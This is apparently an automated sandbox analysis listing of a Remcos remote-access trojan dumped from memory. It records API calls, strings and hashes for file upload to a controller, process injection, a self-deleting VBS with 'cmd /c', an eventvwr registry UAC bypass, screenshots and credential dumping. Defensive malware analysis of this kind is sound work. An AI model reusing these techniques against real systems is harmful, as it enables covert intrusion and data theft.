_free.LIBCMT ref: 030DE556
_free.LIBCMT ref: 030DE564
_free.LIBCMT ref: 030DE56F
_free.LIBCMT ref: 030DE5A7
_free.LIBCMT ref: 030DE5AE
_free.LIBCMT ref: 030DE5CB
_free.LIBCMT ref: 030DE5E3

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: e7fb6986b5da526662e2cff91756806091639532cbcdb682c08f940c946b7fc8
Instruction ID: efb6eb1f34edd8febb14c7e92a514f47ff26305bb81026e69cd7547c169cef60
Opcode Fuzzy Hash: e7fb6986b5da526662e2cff91756806091639532cbcdb682c08f940c946b7fc8
Instruction Fuzzy Hash: 0A31A3756023059FEB61EA38D948B9AB3E8FF40391F5994A9E488DF150EF30E940CB21

Function 03097BB6 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 328fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,000000B6), ref: 03097D1F
GetFileSizeEx.KERNEL32(00000000,?), ref: 03097D57
__aulldiv.LIBCMT ref: 03097D89

Part of subcall function 030A94DA: GetLocalTime.KERNEL32(00000000), ref: 030A94F4

SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000000), ref: 03097EAC
ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 03097EC7
CloseHandle.KERNEL32(00000000), ref: 03097FA0
CloseHandle.KERNEL32(00000000,00000052), ref: 03097FEA
CloseHandle.KERNEL32(00000000), ref: 03098038

Strings

SetFilePointerEx error, xrefs: 03098010
Uploading file to Controller: , xrefs: 03097E11
ReadFile error, xrefs: 03098004

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: File$CloseHandle$CreateLocalPointerReadSizeTime__aulldiv
String ID: ReadFile error$SetFilePointerEx error$Uploading file to Controller:
API String ID: 1656873915-2596673759
Opcode ID: f9f5e0c9969aa2191cbfc4de4da6e4eecd5dbe6aeb336bb2058597d6f645925c
Instruction ID: 0eb2ad049ace3884bfe5640ec391017be92f13882eb9ab619c4440a0e3778cf1
Opcode Fuzzy Hash: f9f5e0c9969aa2191cbfc4de4da6e4eecd5dbe6aeb336bb2058597d6f645925c
Instruction Fuzzy Hash: F6B1E23560A344AFEB58FB64C890BEFB7E9AFC4610F40491EF4895B290EF309905DB42

Function 0309DE34 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 223processsynchronizationCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104,03102248,03101FFC,?,00000001), ref: 0309DE4E
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000001), ref: 0309DE79
Process32FirstW.KERNEL32(00000000,0000022C), ref: 0309DE95
Process32NextW.KERNEL32(00000000,0000022C), ref: 0309DF14
CloseHandle.KERNEL32(00000000,?,00000000,?,?,00000001), ref: 0309DF23

Part of subcall function 030A9F87: OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000), ref: 030A9F9C

CreateMutexA.KERNEL32(00000000,00000001,00000000,00000000,?,00000001), ref: 0309E047
CloseHandle.KERNEL32(00000000,C:\Program Files(x86)\Internet Explorer\,?,00000001), ref: 0309E133

Strings

Inj, xrefs: 0309E14F
ieinstal.exe, xrefs: 0309E0B9
C:\Program Files(x86)\Internet Explorer\, xrefs: 0309E0A2
ielowutil.exe, xrefs: 0309E0FA

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: CloseCreateHandleProcess32$FileFirstModuleMutexNameNextOpenProcessSnapshotToolhelp32
String ID: C:\Program Files(x86)\Internet Explorer\$Inj$ieinstal.exe$ielowutil.exe
API String ID: 193334293-1743721670
Opcode ID: dcc142cd2a14d232938beee231b6fbb931da061e33f41b5e4818e72759c4541a
Instruction ID: 2e98d3ce0edd607114437e7239a014d691f301e4a870e852bcc3edb1e094486c
Opcode Fuzzy Hash: dcc142cd2a14d232938beee231b6fbb931da061e33f41b5e4818e72759c4541a
Instruction Fuzzy Hash: FE81403420A3459FEE58FBA0D860EEFB7E8AFD4640F40091EE5864B1A1EF31994DD752

Function 030DD7E0 Relevance: 18.4, APIs: 12, Instructions: 376COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 030DD828
_free.LIBCMT ref: 030DD84C
_free.LIBCMT ref: 030DD859
_free.LIBCMT ref: 030DD87E
_free.LIBCMT ref: 030DD88B
_free.LIBCMT ref: 030DD894
_free.LIBCMT ref: 030DDB72
_free.LIBCMT ref: 030DDB7A

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: da97825020658e4fc55bc3ac3d76ad825c1a5a17e5a84147288e8a8f640c8c2b
Instruction ID: a99dc484122b80062a21247377daf2bbfbcb072d4e50fc5719ce56bbb5ce2f8d
Opcode Fuzzy Hash: da97825020658e4fc55bc3ac3d76ad825c1a5a17e5a84147288e8a8f640c8c2b
Instruction Fuzzy Hash: 10C15676E41304AFDB20DBA8CC42FEEB7F8EF48715F154155FA48EB281D67099458B60

Function 030A1899 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 417sleepfileCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 030A18B2

Part of subcall function 030A9959: GetCurrentProcessId.KERNEL32(00000000,771B3530,00000000,?,?,?,?,030F9654,0309BDCB,.vbs,?,?,?,?,?,03102200), ref: 030A9980

Part of subcall function 030A68A6: CloseHandle.KERNEL32(030940D5,?,?,030940D5,030F2E24), ref: 030A68BC
Part of subcall function 030A68A6: CloseHandle.KERNEL32(030F2E24,?,?,030940D5,030F2E24), ref: 030A68C5

Sleep.KERNEL32(0000000A,030F2E24), ref: 030A1A01
Sleep.KERNEL32(0000000A,030F2E24,030F2E24), ref: 030A1AA3
Sleep.KERNEL32(0000000A,030F2E24,030F2E24,030F2E24), ref: 030A1B42
DeleteFileW.KERNEL32(00000000,030F2E24,030F2E24,030F2E24), ref: 030A1B9F
DeleteFileW.KERNEL32(00000000,030F2E24,030F2E24,030F2E24), ref: 030A1BCF
DeleteFileW.KERNEL32(00000000,030F2E24,030F2E24,030F2E24), ref: 030A1C05
Sleep.KERNEL32(000001F4,030F2E24,030F2E24,030F2E24), ref: 030A1C25
Sleep.KERNEL32(00000064), ref: 030A1C63

Strings

/stext ", xrefs: 030A198C, 030A1A2E, 030A1ACD

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Sleep$File$Delete$CloseHandle$CurrentModuleNameProcess
String ID: /stext "
API String ID: 2485855082-3856184850
Opcode ID: c3885dff7e9b6b4c06ddb9dc271b0622a1ae1a110e73682124e65bcf715e60eb
Instruction ID: 2321b05af6a664cc90a7c3bb6cc3eb8d3c8ce56277ebc31170ef9c4bae299fba
Opcode Fuzzy Hash: c3885dff7e9b6b4c06ddb9dc271b0622a1ae1a110e73682124e65bcf715e60eb
Instruction Fuzzy Hash: C7F1233560A3455FEB2DFBA4D8A0BEFB3D5AFD4200F50091EE08A4A191EF709A4DD652

Function 030A3606 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 158COMMON

Download Yara Rule

Strings

udp, xrefs: 030A36B6, 030A36BE, 030A36C2
65535, xrefs: 030A3609

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID:
String ID: 65535$udp
API String ID: 0-1267037602
Opcode ID: 1a0beb9d2260414baff93e862da0165526b5ff0540b9b889965a749ab1dd6acc
Instruction ID: 1b7377a0b6987c433e55bb84ac935da2581758e54dcfbaca311d0ab90757bc4f
Opcode Fuzzy Hash: 1a0beb9d2260414baff93e862da0165526b5ff0540b9b889965a749ab1dd6acc
Instruction Fuzzy Hash: 9651D8BD607B059BD7B0DA9CF449B7FB7D4AF84A81F0C49ADF8819A680D725C8408A52

Function 0309C3B8 Relevance: 17.6, APIs: 3, Strings: 7, Instructions: 148COMMON

Download Yara Rule

APIs

Part of subcall function 030A12B5: TerminateProcess.KERNEL32(00000000,031021E8,0309E2B2), ref: 030A12C5
Part of subcall function 030A12B5: WaitForSingleObject.KERNEL32(000000FF), ref: 030A12D8

Part of subcall function 030A20E8: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000,03102200), ref: 030A2104
Part of subcall function 030A20E8: RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,00000208,?), ref: 030A211D
Part of subcall function 030A20E8: RegCloseKey.KERNEL32(00000000), ref: 030A2128

GetModuleFileNameW.KERNEL32(00000000,?,00000208), ref: 0309C412
ShellExecuteW.SHELL32(00000000,open,00000000,030F9654,030F9654,00000000), ref: 0309C571
ExitProcess.KERNEL32 ref: 0309C57D

Strings

.vbs, xrefs: 0309C418
Temp, xrefs: 0309C453
CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName), xrefs: 0309C520
open, xrefs: 0309C56B
CreateObject("WScript.Shell").Run "cmd /c "", xrefs: 0309C4B2
exepath, xrefs: 0309C3EA
""", 0, xrefs: 0309C49A

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Process$CloseExecuteExitFileModuleNameObjectOpenQueryShellSingleTerminateValueWait
String ID: """, 0$.vbs$CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)$CreateObject("WScript.Shell").Run "cmd /c ""$Temp$exepath$open
API String ID: 1913171305-2411266221
Opcode ID: b05d88e61a9d775c53edb9d77b485eccf4e15da7feb9e40e3aab4616002737b3
Instruction ID: 57aa8d7d83a78e55cd509a3bdafa807bfd941da0494d45cc89280d5b7f199e28
Opcode Fuzzy Hash: b05d88e61a9d775c53edb9d77b485eccf4e15da7feb9e40e3aab4616002737b3
Instruction Fuzzy Hash: 43414E39A122196FEF18F7A5DC64DEE7779AF94610F00016BE106AF091EF305E4ADA90

Function 030C85DA Relevance: 16.6, APIs: 11, Instructions: 116COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,03091D35,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 030C8632
GetLastError.KERNEL32(?,?,03091D35,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 030C863F
__dosmaperr.LIBCMT ref: 030C8646
MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,03091D35,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 030C8672
GetLastError.KERNEL32(?,?,?,03091D35,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 030C867C
__dosmaperr.LIBCMT ref: 030C8683
WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,?,?,?,?,?,03091D35,?), ref: 030C86C6
GetLastError.KERNEL32(?,?,?,?,?,?,03091D35,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 030C86D0
__dosmaperr.LIBCMT ref: 030C86D7
_free.LIBCMT ref: 030C86E3
_free.LIBCMT ref: 030C86EA

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: ByteCharErrorLastMultiWide__dosmaperr$_free
String ID:
API String ID: 2441525078-0
Opcode ID: ccaacae7d47af187c8d88dd90e7d8304bb4aadd6c11cb554e00c1bfc127e542c
Instruction ID: 0e215005218fdef5e682997e413fa3606f6d1ae8c76f8ffae9d086064d3ef972
Opcode Fuzzy Hash: ccaacae7d47af187c8d88dd90e7d8304bb4aadd6c11cb554e00c1bfc127e542c
Instruction Fuzzy Hash: 7A31C27991238EBFCF11EFA4DC489AF7BA8EF44760B14815DF8115A250DB35C910CB65

Function 03095480 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 155windowmemoryCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,?), ref: 0309549F
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 0309554F
TranslateMessage.USER32(?), ref: 0309555E
DispatchMessageA.USER32(?), ref: 03095569
HeapCreate.KERNEL32(00000000,00000000,00000000,00000074,03101F10), ref: 03095621
HeapFree.KERNEL32(00000000,00000000,0000003B,0000003B,?,00000000), ref: 03095659

Strings

DisplayMessage, xrefs: 030955CC
CloseChat, xrefs: 030955E9
GetMessage, xrefs: 030955D8

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Message$Heap$CreateDispatchEventFreeTranslate
String ID: CloseChat$DisplayMessage$GetMessage
API String ID: 2460878853-749203953
Opcode ID: a076877d64bceb6518960a7c7f0c45c5358c2d04d4925ee681675eaf7d998e5a
Instruction ID: ea1293e43f9e6a5c6bc300fb0b8ba5c0c0cf27f9293c073c907c042386851bce
Opcode Fuzzy Hash: a076877d64bceb6518960a7c7f0c45c5358c2d04d4925ee681675eaf7d998e5a
Instruction Fuzzy Hash: BF410479A063056FEF04FB75DC648AF7BE9ABC5610F00091EF5428B691DF348A05D751

Function 030A8AC3 Relevance: 15.1, APIs: 10, Instructions: 66serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000011,00000000,00000001,?,?,?,?,?,?,030A843C,00000000), ref: 030A8AD2
OpenServiceW.ADVAPI32(00000000,00000000,000F003F,?,?,?,?,?,?,030A843C,00000000), ref: 030A8AE9
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,030A843C,00000000), ref: 030A8AF6
ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,030A843C,00000000), ref: 030A8B05
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,030A843C,00000000), ref: 030A8B16
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,030A843C,00000000), ref: 030A8B19

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$Open$ControlManager
String ID:
API String ID: 221034970-0
Opcode ID: 75ee2c3f00dedd2aa541cf77ac7809ec83d2d3fe6ac79b112e83c94495de122c
Instruction ID: 8c2933385591efe005ac80d733c6614719c12872904d07efc27f8249f61aae9c
Opcode Fuzzy Hash: 75ee2c3f00dedd2aa541cf77ac7809ec83d2d3fe6ac79b112e83c94495de122c
Instruction Fuzzy Hash: DF112571B0312C6FD610FBA8FC89DBF3FACDF52AA27000056FA059A140DB294C059AB1

Function 030D5631 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 030D5645

Part of subcall function 030D3C92: RtlFreeHeap.NTDLL(00000000,00000000,?,030DDE4F,?,00000000,?,00000000,?,030DE0F3,?,00000007,?,?,030DE63E,?), ref: 030D3CA8
Part of subcall function 030D3C92: GetLastError.KERNEL32(?,?,030DDE4F,?,00000000,?,00000000,?,030DE0F3,?,00000007,?,?,030DE63E,?,?), ref: 030D3CBA

_free.LIBCMT ref: 030D5651
_free.LIBCMT ref: 030D565C
_free.LIBCMT ref: 030D5667
_free.LIBCMT ref: 030D5672
_free.LIBCMT ref: 030D567D
_free.LIBCMT ref: 030D5688
_free.LIBCMT ref: 030D5693
_free.LIBCMT ref: 030D569E
_free.LIBCMT ref: 030D56AC

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 350552d9552a2a8299357a19205bfba92709b851e853bae24b67572efcd50b80
Instruction ID: d486db81709bcaff33278a278d68278191bdeba082fc67d6b53b43a4c3550bad
Opcode Fuzzy Hash: 350552d9552a2a8299357a19205bfba92709b851e853bae24b67572efcd50b80
Instruction Fuzzy Hash: 2211A77D20230CAFCB01EF54C844EDD3BA5FF44391B029495BA884F121EA31DA509F91

Function 030A7F6A Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 176sleeptimeCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 030A7F6F
GdiplusStartup.GDIPLUS(03101668,?,00000000), ref: 030A7FA1
CreateDirectoryW.KERNEL32(00000000,00000000,00000000,0000001A,00000019), ref: 030A802D
Sleep.KERNEL32(000003E8), ref: 030A80B3
GetLocalTime.KERNEL32(?), ref: 030A80BB
Sleep.KERNEL32(00000000,00000018,00000000), ref: 030A81AA

Strings

time_%04i%02i%02i_%02i%02i%02i, xrefs: 030A8055
wnd_%04i%02i%02i_%02i%02i%02i, xrefs: 030A8050, 030A8071, 030A80DF

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Sleep$CreateDirectoryGdiplusH_prologLocalStartupTime
String ID: time_%04i%02i%02i_%02i%02i%02i$wnd_%04i%02i%02i_%02i%02i%02i
API String ID: 489098229-3790400642
Opcode ID: e7bfd54fc91e23bc2ef1acf82340829bf78584c1ab704f8af1cce613a1a49215
Instruction ID: 27735dd0a1a398efe5067305ed0565bc099be39f0fe6763f0c7d921ce8f6afde
Opcode Fuzzy Hash: e7bfd54fc91e23bc2ef1acf82340829bf78584c1ab704f8af1cce613a1a49215
Instruction Fuzzy Hash: 17516C75A023599FEF58FBF8D864AFD7BA8AF94200F04046AE405AF180EF749E45D790

Function 030E30E4 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,030E41DF), ref: 030E3107

Strings

sqrt, xrefs: 030E328B
acos, xrefs: 030E327F
asin, xrefs: 030E3273
pow, xrefs: 030E31EB, 030E3297, 030E32AA
log10, xrefs: 030E3151, 030E31A1
log, xrefs: 030E31AD, 030E31B9
exp, xrefs: 030E31CC, 030E322E

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: aaf196b974c9f62695b5bdcbb8aafb92093553953400d47492ed76f9581f8665
Instruction ID: a8fdc2b82a92795db634afde306620e936672c6ea016ab91b8213206b9790fd1
Opcode Fuzzy Hash: aaf196b974c9f62695b5bdcbb8aafb92093553953400d47492ed76f9581f8665
Instruction Fuzzy Hash: 24515779B0260ADFCF44DFA8EA485ACBFF4FB49310F5445C9D481AB654CB369A248B18

Function 030A59BA Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 104sleepfileCOMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32(00000000,open,dxdiag,00000000,00000000,00000000), ref: 030A5A1A

Part of subcall function 030AA20F: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,00000000,00000000,030A5A44), ref: 030AA228

Sleep.KERNEL32(00000064), ref: 030A5A46
DeleteFileW.KERNEL32(00000000), ref: 030A5A7A

Strings

\sysinfo.txt, xrefs: 030A59C5
open, xrefs: 030A5A14
dxdiag, xrefs: 030A5A0F
/t , xrefs: 030A59F9
temp, xrefs: 030A59CA

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: File$CreateDeleteExecuteShellSleep
String ID: /t $\sysinfo.txt$dxdiag$open$temp
API String ID: 1462127192-2001430897
Opcode ID: 89042844ea69c012f879509e63a0fc77e1d89c723a44a4c2729b90cb107ed66e
Instruction ID: c959f07cd39d7bf5aa9877836fa4e600e3befaf0fecdab9036ea9ab6b21d27b7
Opcode Fuzzy Hash: 89042844ea69c012f879509e63a0fc77e1d89c723a44a4c2729b90cb107ed66e
Instruction Fuzzy Hash: 44319635A433095FEF08FBA4ECA1EFE7738EFA0614F40016AE5066B191EF61594ADA50

Function 030966A6 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 78COMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32(00000000,open,00000000,030F9654,030F9654,00000000), ref: 03096775
ExitProcess.KERNEL32 ref: 03096782

Strings

mscfile\shell\open\command, xrefs: 030966D4
open, xrefs: 0309676E
eventvwr.exe, xrefs: 0309674F
Software\Classes\mscfile\shell\open\command, xrefs: 0309673F
origmsc, xrefs: 03096710
C:\Windows\SysWOW64\colorcpl.exe, xrefs: 03096730

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: ExecuteExitProcessShell
String ID: C:\Windows\SysWOW64\colorcpl.exe$Software\Classes\mscfile\shell\open\command$eventvwr.exe$mscfile\shell\open\command$open$origmsc
API String ID: 1124553745-2519146888
Opcode ID: cb2ed4b98d4c8997c37937b558a329165dd5168a480b7f9b0aa7d5012bf6adb9
Instruction ID: 97596e111b9ee46ec9844db2db6fd3e51e2f4b1c36166bc5c0f4008b72bd2af2
Opcode Fuzzy Hash: cb2ed4b98d4c8997c37937b558a329165dd5168a480b7f9b0aa7d5012bf6adb9
Instruction Fuzzy Hash: 9A112739B473097FFE08F2A4DC66FEF32689B94620F00045BF616AE1C1DF6119058395

Function 030AAA4F Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

AllocConsole.KERNEL32(00000000), ref: 030AAA5D
ShowWindow.USER32(00000000,00000000), ref: 030AAA76

Strings

* Remcos v, xrefs: 030AAAB4
* BreakingSecurity.net, xrefs: 030AAAD0
3.8.0 Pro, xrefs: 030AAAC2
CONOUT$, xrefs: 030AAA89
--------------------------, xrefs: 030AAADE
--------------------------, xrefs: 030AAAA6

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: AllocConsoleShowWindow
String ID: * BreakingSecurity.net$ * Remcos v$--------------------------$--------------------------$3.8.0 Pro$CONOUT$
API String ID: 4118500197-4025029772
Opcode ID: 8fa24124e20603d038b82d97493a5eb258d152386ea69792aa7437077fde93a0
Instruction ID: 769025ca3338d80734ad8ba39f3a1f47345b66d8aa3f57c337c1a0d48b2b3442
Opcode Fuzzy Hash: 8fa24124e20603d038b82d97493a5eb258d152386ea69792aa7437077fde93a0
Instruction Fuzzy Hash: 86016DB6A9235DAEDB10FBF4AC45FDE77ACBB45B05F040419B210EE445DBA891088B61

Function 030AB212 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 48windowstringCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 030AB22B

Part of subcall function 030AB2C4: RegisterClassExA.USER32(00000030), ref: 030AB310
Part of subcall function 030AB2C4: CreateWindowExA.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,000000FD,00000000,00000000,00000000), ref: 030AB32B
Part of subcall function 030AB2C4: GetLastError.KERNEL32 ref: 030AB335

ExtractIconA.SHELL32(00000000,?,00000000), ref: 030AB262
lstrcpynA.KERNEL32(03101AF8,Remcos,00000080), ref: 030AB27C
Shell_NotifyIconA.SHELL32(00000000,03101AE0), ref: 030AB292
TranslateMessage.USER32(?), ref: 030AB29E
DispatchMessageA.USER32(?), ref: 030AB2A8
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 030AB2B5

Strings

Remcos, xrefs: 030AB26D

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID: Message$Icon$ClassCreateDispatchErrorExtractFileLastModuleNameNotifyRegisterShell_TranslateWindowlstrcpyn
String ID: Remcos
API String ID: 1970332568-165870891
Opcode ID: c8c67cccc05f2cc965824a73764230bb0a512dc1956b192854becd5b0cfef3bf
Instruction ID: c6a3709b525b134e6ccba09f0c6578816df9d1393d7186ff440844a7c6c7f650
Opcode Fuzzy Hash: c8c67cccc05f2cc965824a73764230bb0a512dc1956b192854becd5b0cfef3bf
Instruction Fuzzy Hash: 7C012775A01288FBD710EBE5F908E9F7BBCAB89B05F00002AF115A6085D7FD50458B60

Function 030D9F63 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3792390039.0000000003090000.00000040.00000400.00020000.00000000.sdmp, Offset: 03090000, based on PE: true

Associated: 00000005.00000002.3792390039.0000000003105000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_3090000_colorcpl.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6c00e23a5c8888094fd5ebe535572d8408c38c14bc3cacc995a7ae6410e6ff3
Instruction ID: 6965c2e42c91f7a930872383961b8e60465982ebcde3543a89654386360d1b1d
Opcode Fuzzy Hash: a6c00e23a5c8888094fd5ebe535572d8408c38c14bc3cacc995a7ae6410e6ff3
Instruction Fuzzy Hash: 7CC1AB78B06389AFCB51DFADD840BEDBBF4AF4A310F084188E855AB381C7359951CB61

Function 030E2DBB Relevance: 13.8, APIs: 9, Instructions: 272COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 030E2A89: CreateFileW.KERNEL32(00000000,00000000,?,030E2E64,?,?,00000000,?,030E2E64,00000000,0000000C), ref: 030E2AA6

